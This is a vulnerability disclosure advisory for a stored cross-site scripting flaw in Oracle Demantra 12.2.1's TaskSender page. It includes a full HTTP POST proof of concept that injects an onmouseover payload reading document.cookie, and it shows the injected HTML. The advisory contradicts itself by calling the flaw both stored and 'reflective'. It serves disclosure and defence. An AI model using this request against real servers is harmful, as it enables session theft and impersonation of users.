Oracle Demantra 12.2.1 - Persistent Cross-Site Scripting

EDB-ID:

31994




Platform:

Windows

Date:

2014-03-01


Details:

The TaskSender area is vulnerable to a stored cross-site scripting vulnerability.
Impact:

An attacker could exploit this flaw to get active HTML or script code executed in an authenticated user’s browser. Cross-site Scripting may be used to perform attacks such as session hijacking by invoking the user’s browser to send information stored in their cookies (such as a session identification token) to an arbitrary location controlled by the attacker. Furnished with this information the attacker could immediately access the site, masquerading as the authenticated user who viewed the page containing the malicious code. The attacker would then be able to perform actions as the authorised user, subject to their role, which could include viewing sensitive data, modifying profile information and making transactions.

This vulnerability could also be leveraged in a “phishing” attack, whereby the attacker adds additional HTML code to create a false login page within the vulnerable page, which posts the data to a server controlled by the attacker. The attacker could then redirect the user back to the original server, thus giving the illusion that the login was secure and genuine. This could also be achieved by redirecting the user to a false login page on the attacker’s server rather than adding the code to a page that already exists. This is critical, because if the attacker could host a “phishing” website in a domain with a valid SSL certificate, there would be no way for a user to spot the attack.

A variation of the “phishing” attack described above would be to inject code to completely rewrite the genuine page, defacing the site and possibly having a detrimental impact on the reputation of the company.

Finally, an attacker could use Cross-site Scripting to exploit vulnerabilities within web browsers. The outcome of such an attack would depend on the exploits used, but in a worst case scenario the attacker could gain full control of a user’s computer. Once that had been achieved it would be trivial for the attacker to install a keystroke logger and gain access to applications via the usernames and passwords they had acquired.

In the case of the current web application, the Cross-site Scripting was “reflective”, meaning that a user would need to follow a specially crafted link for the attack to be successful.
Exploit:

Request:

POST /demantra/TaskSender HTTP/1.1
Host: www.target.com:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:22.0) Gecko/20100101 Firefox/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://www.target.com:8080/demantra/portal/taskSender.jsp?tkn=187120466014305
Cookie: ORA_EBS_DEMANTRA_LOGIN_LANGUAGE=US; JSESSIONID=201BE9D6A85EA3E4BC837A4F01B9781F
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------12454397315614820331578362291
Content-Length: 3093

-----------------------------12454397315614820331578362291
Content-Disposition: form-data; name="selectedUsersVector"

389
-----------------------------12454397315614820331578362291
Content-Disposition: form-data; name="selectedUserList"

389;
-----------------------------12454397315614820331578362291
Content-Disposition: form-data; name="message"

asdasda
----------97315614820331578362291
Content-Disposition: form-data; name="description"

asdasdasdas
-----------------------------12454397315614820331578362291
Content-Disposition: form-data; name="url"

aaa"onmouseover="alert(document.cookie)
-----------------------------12454397315614820331578362291
Content-Disposition: form-data; name="sendEmail"

1
-----------------------------12454397315614820331578362291
Content-Disposition: form-data; name="hidden_dueTime"

08/02/2013
-----------------------------12454397315614820331578362291
Content-Disposition: form-data; name="hidden_alertTime"

08/02/2013
-----------------------------12454397315614820331578362291
Content-Disposition: form-data; name="hidden_dueTimeHours"

14:30
-----------------------------12454397315614820331578362291
Content-Disposition: form-data; name="hidden_alertTimeHours"

08:30
-----------------------------12454397315614820331578362291
Content-Disposition: form-data; name="hidden_escalateUserList"


-----------------------------12454397315614820331578362291
Content-Disposition: form-data; name="combination"


-----------------------------12454397315614820331578362291
Content-Disposition: form-data; name="dueTime"

08/02/2013
-----------------------------12454397315614820331578362291
Content-Disposition: form-data; name="alertTime"

08/02/2013
-----------------------------12454397315614820331578362291
Content-Disposition: form-data; name="tkn"

187120466014305
-----------------------------12454397315614820331578362291
Content-Disposition: form-data; name="attachment"; filename=""
Content-Type: application/octet-stream


-----------------------------12454397315614820331578362291
Content-Disposition: form-data; name="localizedDueTime"

08/02/2013
-----------------------------12454397315614820331578362291
Content-Disposition: form-data; name="dueTimeHours"

14:30
-----------------------------12454397315614820331578362291
Content-Disposition: form-data; name="localizedAlertTime"

08/02/2013
---------------12454397315614820331578362291
Content-Disposition: form-data; name="alertTimeHours"

08:30
-----------------------------12454397315614820331578362291
Content-Disposition: form-data; name="escalateUserList"


-----------------------------12454397315614820331578362291
Content-Disposition: form-data; name="sendEmailCheckbox"

on
-----------------------------12454397315614820331578362291
Content-Disposition: form-data; name="x"

50
-----------------------------12454397315614820331578362291
Content-Disposition: form-data; name="y"

7
-----------------------------12454397315614820331578362291--

Resulting Code in page:

<!-- Message -->

<td class="columnCellMessage">

<a href="http://aaa"onmouseover="alert(document.cookie)" id="link793546" class="message" target="_blank">
	
<b>asdasda</b>

Copyright:

Copyright © Portcullis Computer Security Limited 2014, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited.
Disclaimer:

The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user’s risk. In no event shall the author/distributor (Portcullis Computer Security Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.